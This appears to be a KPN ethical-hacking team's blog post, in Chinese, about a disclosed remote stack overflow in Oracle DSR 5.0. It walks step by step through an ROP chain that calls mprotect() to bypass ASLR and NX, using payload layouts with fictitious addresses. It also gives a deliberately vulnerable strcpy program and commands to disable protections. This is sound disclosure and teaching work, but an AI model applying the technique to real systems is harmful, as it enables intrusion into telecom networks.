KPN 是位于荷兰的一家电信运营商。CISO REDteam 成立于 2013 年,是 KPN 的伦理黑客团队。该团队负责对 KPN 的应用程序和服务进行安全测试,以确保我们客户的数据免遭未经授权的访问、修改和数据丢失。
KPN 运营着荷兰最大的移动网络。KPN 运营的 4G 网络组件之一是基于 Oracle 直径信令路由器 (DSR) 应用程序的直径路由代理。直径路由代理 (DRA) 是 3G 或 4G 网络中的一个功能元素,提供实时路由能力,以确保消息在网络中的正确元素之间路由。3GPP 引入了 DRA,以应对日益增长的直径信令流量以及 4G LTE 网络日益增长的复杂性。它可以作为核心路由器部署,在归属网络中的直径元素之间路由流量,也可以作为网关路由器部署,在归属网络和漫游网络中的直径元素之间路由流量。3GPP 规定直径协议用于多个接口,包括用于 MME-HSS 通信以及漫游的接口 (S6a)。
下图展示了 LTE 环境中典型的 DRA 部署。 所有元素之间的接口都是 S6a 接口。

Oracle DSR 是一个运行在 CentOS Linux 上的机器集群,执行 DRA 功能。它通常连接到归属 LTE 网络中的不同 MME 和 HSS,但也可能通过 IPX 网络连接到漫游合作伙伴。
通过使用 Codenomicon DEFENSICS 平台,KPN REDteam 在 Oracle DSR 应用程序版本 5.0 中发现了两个主要漏洞:
第一个漏洞允许连接到 IPX 网络的未认证远程攻击者完全控制 DRA 及其组件。当攻击者完全控制 DRA 系统后,他能够监控所有通过 DRA 路由的流量,并可能进一步渗透电信运营商的核心网络。
Oracle 认真对待报告的漏洞,KPN REDteam 与 Oracle 密切合作以解决这些问题,这也在他们的客户建议中有所表述:
“近期的安全测试在 Oracle 直径信令路由器产品的某些版本中发现了两个安全漏洞。为了保护您的网络免受这些漏洞的潜在利用,Oracle 强烈建议您立即采取本文所述的措施。Oracle 感谢 Frank Cozijnsen(KPN CISO REDteam 伦理黑客)发现了下述的直径栈漏洞。特别感谢 KPN 在 Oracle 分析阶段的支持。注意:这些发现将在 Oracle 计划于 2015 年 1 月 20 日发布的下一期 CPU 中公开披露。”
发现的这些问题对使用 Oracle DSR 的电信运营商构成了严重威胁,任何能够访问 IPX 连接的攻击者都可能利用它们。
KPN REDteam 在产品和服务部署到生产网络之前对其进行测试。作为升级项目的一部分,KPN REDteam 从安全角度测试了 Oracle DSR 5.0 版本。安全测试包括使用 Codenomicon Diameter Server test Suite 对 Oracle DSR DIAMETER 实现进行模糊测试。能力交换请求 (CER) 消息用于检查接收服务器的 DIAMETER 能力,被选为初始模糊测试目标。之所以选择这条消息,是因为它不会被转发到其他系统(如 HSS),而是由 DSR 本身处理。在模糊测试过程中,注意到 DSR 的消息处理器 (MP) 刀片上出现了几次 "dsr" 进程崩溃。
使用带有 PEDA 插件的 GDB 分析了崩溃,并最终编写了一个远程利用程序。崩溃是由于超出栈上缓冲区末尾的越界写入造成的。越界写入用用户控制的数据破坏了栈。同时,保存的返回指针(即函数返回后程序返回的地址)也被覆盖。如果攻击者能够控制这个返回指针,则可能导致任意代码执行。

撰写本文的主要原因是解释 KPN REDteam 如何绕过存在的 ASLR 和 NX 保护,并成功创建了一个可工作的远程代码执行利用程序。通常,ASLR 和 NX 保护机制对攻击者来说不是很大的障碍,但 DSR 运行在 64 位 CentOS 上。关于在受 ASLR 保护的 64 位 Linux 系统上进行返回导向编程 (ROP) 的实用文档并不多。
在调试过程中,注意到 libc 库在 dsr 进程中总是映射到相同的地址,并且在重启后地址也不会改变。其他库在 dsr 进程中映射到随机内存地址。知道 libc 内存地址后,就可以使用 libc 作为 ROP 小工具的来源。另一种选择是使用 dsr 二进制文件本身作为 ROP 小工具的来源,但该文件中可用的小工具数量有限。
为了绕过 NX 保护,可以使用 mprotect() 函数使栈可执行,从而能够执行我们的 shellcode。
mprotect() 函数需要在相应的寄存器中设置以下值:
如果所有寄存器都已设置,可以在目标 libc 库的偏移量 0xe54b0 处调用 mprotect()。
文档的以下部分假定读者了解 ROP 及其工作原理。在 shell-storm.org 上有一个很好的示例,展示了如何在 32 位 Linux 系统上创建 ROP 链。 由于“部分”ASLR,栈本身的位置是不可预测的。使用 ROP 小工具将栈指针 (%RSP) 值存储到 %RSI 寄存器中。
寄存器 %RDI 必须包含需要设为可执行的内存区域的内存偏移量。
可以使用栈指针来确定这个内存地址,并且必须将其设置为内存页边界。可以使用 XOR 指令将该地址的最后 4 个字节归零以匹配页边界。只有一个小工具可用于对 %RAX 寄存器执行此操作,因此第一步是将栈指针的值获取到 %RAX 寄存器中。
KPN REDteam 目前不想披露有关实际利用程序太多信息,因此下面使用的地址是虚构的。但它们能说明指令执行的顺序。
首先将栈指针存储在一个寄存器中。选择 %RSI 寄存器,因为在 libc 二进制文件中没有小工具可以直接将值存储在 %RAX 寄存器中。
使用了以下 ROP 小工具:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
溢出前寄存器的值如下:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
第一个目标是将 %RSP 中的值获取到 %RSI 中。
这导致载荷的第一部分如下:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
第一个执行的指令是 "pop rcx",它将 0x00000039c2222222 加载到 %RCX 寄存器中。pop 指令还将栈指针移动到存储 0x00000039c3333333 的位置。这将是下一个 ROP 小工具的地址:"push rsp ; and al, 8 ; call rcx"。push rsp 指令将栈指针压入栈中,之后将调用之前存储在 %RCX 寄存器中的地址。这会从栈中加载两个值到 %RDX 和 %RSI 寄存器,并返回到地址 0x00000039c4444444。现在 %RSI 寄存器包含了之前存储的栈指针。位于地址 0x00000039c4444444 的 ROP 小工具将 %RSI 中的值复制到 %RAX。
现在可以使用 %RAX 寄存器中指向我们栈的指针来更改栈上内存映射的权限。为了将最后 4 个字节归零,我们使用了一个仅应用于 %RAX 寄存器最后 4 个字节的 XOR 指令:
寄存器的当前值:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
对 %RAX 的最后 4 个字节进行 XOR 操作
0x00000039c6666666 : xor ax, ax ; ret
现在寄存器包含:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
下一步是将 %RAX 中的值放入 %RDI:
使用了以下 ROP 小工具:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
这些指令之间的交互方式与之前解释的指令类似。
载荷现在看起来像这样:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
结果是以下寄存器内容:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
%RDI 寄存器现在包含栈上一个内存偏移量,并且已对齐到页边界。
寄存器 %RSI 必须包含需要更改的内存区域的大小。
这很容易,只需将大小放入 %RSI 即可。
只使用一个小工具,以及大小值。
- 0x00000039c9999999 : pop rsi ; ret
大小 (0xf0000) 将从栈中弹出,因此必须将其添加到载荷中。
载荷现在看起来像这样:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
现在寄存器包含:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
寄存器 %RDX 必须包含权限位,在我们的例子中是 0x7 -> rwx 权限。
这一步与上一步类似。该值将从栈中弹出:
只使用一个小工具,以及权限设置。
- 0x00000039caaaaaaa: pop rdx ; ret
权限值是 0x7(读取、写入和执行权限)
载荷现在看起来像这样:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
现在寄存器包含:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
现在所有寄存器都具有正确的值,可以使这部分栈可执行。
调用 mprotect()
必须将 mprotect() 指令的地址包含在载荷中。 对于本例,libc 加载在地址 0x0000003888c00000 上,因此使栈可执行的载荷如下所示:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
仅此而已。要完成利用,您仍然需要确保指令指针指向您的 shellcode,但根据上述解释,这很容易。
构建 ROP 链并测试工作原理很容易在 64 位 Linux 机器上完成。 要自己尝试,您可以编写一个易受攻击的 C 程序:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
编译此程序时不要启用栈粉碎保护 (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
为了测试,请确保暂时禁用 ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
现在启动您的 GDB 并开始黑客攻击..
在 GDB 中,使用以下参数运行此文件:
run `perl -e'print "\x41" x500'`
GDB 的 PEDA 插件使生活更加轻松,并将帮助您找到 ROP 小工具。